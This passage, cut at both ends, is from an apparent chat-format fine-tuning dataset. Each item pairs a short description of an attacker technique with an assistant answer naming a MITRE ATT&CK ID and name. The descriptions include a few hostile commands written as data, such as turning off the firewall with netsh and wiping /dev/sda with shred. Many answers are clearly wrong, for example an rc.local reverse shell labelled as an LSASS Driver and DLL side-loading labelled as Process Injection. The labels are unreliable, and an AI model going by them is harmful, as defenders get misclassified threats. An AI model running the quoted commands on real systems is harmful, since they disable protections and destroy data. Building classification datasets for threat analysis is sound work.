                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a new entry to the 'Image File Execution Options' debugger registry key to point to their payload."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware searches the user's profile for saved session cookies and forwards them to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged stolen code signing credentials to sign a malicious driver, evading OS security controls."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant communicates only outbound to a malicious API endpoint, delivering exfiltrated files via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a malicious TLS termination proxy on a compromised server to intercept traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Disguise malicious traffic as legitimate through the use of encryption and secure protocols"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a supply chain attack by compromising third-party software vendors to distribute tainted updates that facilitate privilege escalation on client systems."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the intruder resets the timestamps of suspicious binaries to blend in with legitimate system files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers persist by placing a malicious .msi package reference in the Active Setup registry, causing it to run during the user logon process."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user browsing a compromised forum is automatically redirected to a malicious site that exploits an outdated plugin, installing a backdoor without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a malicious Chrome extension to open a websocket to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchase a domain name and configure DNS to point to a compromised web service that they use for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a compromised RDP session, the attacker updates the PowerShell profile to include a reverse shell command that triggers on session start."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary executed netsh advfirewall set allprofiles state off to disable the firewall on a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat clears the command history logs on both Windows and Linux systems as part of its cleanup routine."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operative creates a secondary email account on a public provider to receive stolen credentials and act as a relay."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a compromised Nginx server to host a hidden reverse proxy that tunnels traffic to an external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential stealer reads the SQLite database of the Vivaldi browser to pull all saved login information."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a rogue device as a trusted MFA token in the authentication server, effectively bypassing the second factor."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary queries the registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion to obtain system build information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the 'CredDump' functionality to retrieve cached domain credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a barrage of malformed DNS queries to a client machine, causing the DNS resolver to crash and deny service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulates the environment variables of a process after launch to change its operational parameters without restarting it."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests authentication cookies from a victim’s browser and reuses them to gain unauthorized access to the web application."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries the Swarm manager API to list all services, tasks, and nodes in a Docker Swarm deployment."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adjusts Group Policy to enforce weaker password complexity requirements."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat utilizes Verclsid's ability to load arbitrary binaries to run a credential dumping tool, exemplifying T1218.012."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a web page’s HTML by injecting malicious JavaScript through a vulnerable comment field, causing browsers to execute the script when the page is viewed."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs 'reg load' to load the SAM hive and then extracts password hashes for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used an automated password cracking workflow to process large volumes of password hashes extracted from a breach."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Windows AppCert DLL feature to persistently load a payload when a legitimate program is executed."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using amplification techniques, the threat actor reflects a large volume of traffic from compromised servers onto the victim, creating a direct network flood."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a domain controller and replace the default Kerberos ticket granting service to issue forged tickets."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Supply chain adversary modifies the PCB layout of a popular IoT sensor during assembly, embedding a hidden communication module."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts firewall trust zones and internal network segmentation maps to identify privileged paths."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the ~/Library/LaunchAgents/com.example.malicious.plist to inject a payload that runs on user login."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers intercept authentication requests, replace the plaintext password with a reversible‑encrypted payload, and later decrypt it to gain access."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan drops a custom sniffer that logs network packets, allowing the attacker to harvest usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the intruder disables the hardware encryption module on the target machine to intercept data in plaintext."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers employ a credential harvesting tool that monitors network traffic for SMTP authentication attempts, logging successful email usernames."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends requests to the GitHub Enterprise API to list all organization members and their permissions."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor sends a request to the API endpoint that returns CPU architecture, RAM size, and disk information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the GitHub API to create a gist containing base64‑encoded stolen data."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using COM hijacking, the attacker re-registers a trusted COM component with a malicious executable, which runs with the privileges of the legitimate application that invokes it."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware encrypts configuration files and locks the application."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate Terraform state files from a cloud storage bucket to reconstruct the infrastructure layout and credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary invoked \"kubectl exec\" to modify security contexts of a pod, granting elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware continuously monitors the system clipboard and sends any copied text to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through Dynamic Link Library (DLL) side‑loading, the threat loads its malicious module into a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exfiltration tool leverages SOCKS proxy traffic over TCP port 1080, which is unexpected in the environment and thus evades standard port‑based rules."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool also pulls the system time to correlate stolen credentials with log timestamps."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs 'route print' to display the routing table and discover the route to the internet."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware initiates a wireless network discovery routine to map SSIDs and channel information in the area."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised endpoints query a hidden URL on a legitimate web service to fetch encoded tasking, effectively using the service as a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a privileged service account on the domain controller and configures it to bypass standard login restrictions."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised system utilizes a peer‑to‑peer mesh network to relay commands between infected nodes."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a new IAM user in AWS via the console after obtaining compromised credentials."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses the \"attrib +h\" command to mark malicious files as hidden, preventing them from being displayed in standard directory views."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised employee account is used to post a fake announcement on the corporate intranet, pretending to be the CTO, to solicit passwords from staff."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deployed on the victim system executes the Linux \"shred\" command on /dev/sda to overwrite the entire disk and render it unrecoverable."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder enumerates publicly available source code on GitHub searching for hard‑coded AWS secret access keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a local privilege escalation bug in sudo, the threat actor obtains root access."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary scans for cloudformation templates in public buckets and extracts embedded access keys."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host copied confidential spreadsheets to a public GitHub gist, bypassing network monitoring by using HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An observed intrusion involved the creation of a local account with a random username to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a third‑party SaaS provider, the attacker used the provider's admin account to pivot into target tenant environments."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware communicates with a remote command‑and‑control server using HTTPS POST requests to a fake file‑sharing service, embedding the stolen data within the request body to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample initiates a TLS‑encrypted tunnel through a web proxy, allowing it to communicate with command‑and‑control servers while traversing the network perimeter."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy payload performed a recursive enumeration of DFS shares to map the organization's file server hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses SeImpersonatePrivilege to impersonate a higher‑privilege account."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators deployed a malicious .aspx page via the IIS remote management interface to establish command and control."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker extracts driver metadata from the system's INF files to assess potential vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrated data by first dumping it into a remote MySQL database hosted on an attacker-controlled server."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs tcpdump on the compromised host to capture DNS queries and responses."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed PowerShell commands in legitimate scheduled tasks that call out to a remote server for further instructions."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A new init script is added to /etc/rc.local on a Linux host to execute a reverse shell on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
